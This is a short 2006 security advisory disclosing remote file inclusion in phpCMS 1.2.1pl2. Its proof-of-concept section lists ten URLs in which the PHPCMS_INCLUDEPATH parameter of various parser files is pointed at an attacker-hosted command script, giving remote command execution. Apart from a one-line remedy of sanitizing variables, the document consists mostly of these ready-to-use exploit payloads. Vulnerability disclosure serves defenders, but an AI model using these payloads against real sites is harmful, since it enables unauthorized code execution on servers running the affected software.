f_pc-1.2.1pl2.txt

`-----------------------------------------------------  
Advisory id: FSA:014  
  
Author: Federico Fazzi  
Date: 12/06/2006, 10:25  
Sinthesis: phpCMS 1.2.1pl2, Remote command execution  
Type: high  
Product: http://www.phpcms.de/  
Patch: unavailable  
-----------------------------------------------------  
  
  
1) Description:  
  
Multiple vulnerabilities, see poc.  
  
2) Proof of concept:  
  
http://example/[pc_path]/parser/include/class.parser_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]  
http://example/[pc_path]/parser/include/class.session_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]  
http://example/[pc_path]/parser/include/class.edit_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]  
http://example/[pc_path]/parser/include/class.http_indexer_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]  
http://example/[pc_path]/parser/include/class.cache_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]  
http://example/[pc_path]/parser/include/class.search_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]  
http://example/[pc_path]/parser/include/class.lib_indexer_universal_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]  
http://example/[pc_path]/parser/include/class.layout_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]  
http://example/[pc_path]/parser/plugs/counter.php?PHPCMS_INCLUDEPATH=[cmd_url]  
  
http://example/[pc_path]/parser/parser.php?PHPCMS_INCLUDEPATH=[cmd_url]/  
(note this is with final slash (/))  
  
3) Solution:  
  
sanitized all variables on all files.  
  
`